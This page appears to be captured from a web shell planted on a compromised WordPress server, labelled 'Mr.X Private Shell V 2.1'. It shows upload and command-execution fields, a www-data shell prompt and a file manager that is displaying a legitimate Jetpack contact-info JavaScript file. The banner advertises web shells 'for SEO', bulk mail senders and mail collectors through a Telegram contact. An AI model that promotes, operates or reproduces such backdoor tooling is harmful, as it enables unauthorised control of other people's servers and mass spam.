__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.146: ~ $
/* global ajaxurl, contact_info_api_key_ajax_obj */

( function ( $ ) {
	$( document ).on( 'change', '.jp-contact-info-showmap', function () {
		var $checkbox = $( this ),
			isChecked = $checkbox.is( ':checked' );

		$checkbox.closest( '.widget' ).find( '.jp-contact-info-admin-map' ).toggle( isChecked );
	} );

	$( document ).on( 'widget-synced', function ( event, widgetContainer ) {
		// This event fires for all widgets, so restrict this to Contact Info widgets and the API key input.
		if (
			! widgetContainer.is( '[id*="widget_contact_info"]' ) ||
			! $( document.activeElement ).is( 'input[id*="apikey"]' )
		) {
			return;
		}

		event.preventDefault();

		var $apikey_input = widgetContainer.find( 'input[id*="apikey"]' );

		$.post(
			ajaxurl,
			{
				_ajax_nonce: contact_info_api_key_ajax_obj.nonce,
				action: 'customize-contact-info-api-key',
				apikey: $apikey_input.val(),
			},
			function ( data ) {
				var $map_element = $apikey_input
					.closest( '.jp-contact-info-admin-map' )
					.parent()
					.find( '.jp-contact-info-embed-map' );
				var $warning_span = $map_element.find( '[class*="notice"]' );

				if ( '1' !== data.result ) {
					if ( $warning_span.length === 0 ) {
						$map_element.append(
							'<span class="notice notice-warning" style="display: block;">' +
								data.result +
								'</span>'
						);
					} else if ( $warning_span.text() !== data.result ) {
						$warning_span.text( data.result );
					}
				} else {
					$map_element.empty();
				}
			}
		);
	} );
} )( window.jQuery );

Filemanager

Name Type Size Permission Actions
contact-info-admin.js File 1.51 KB 0644
contact-info-map.css File 238 B 0644
Filemanager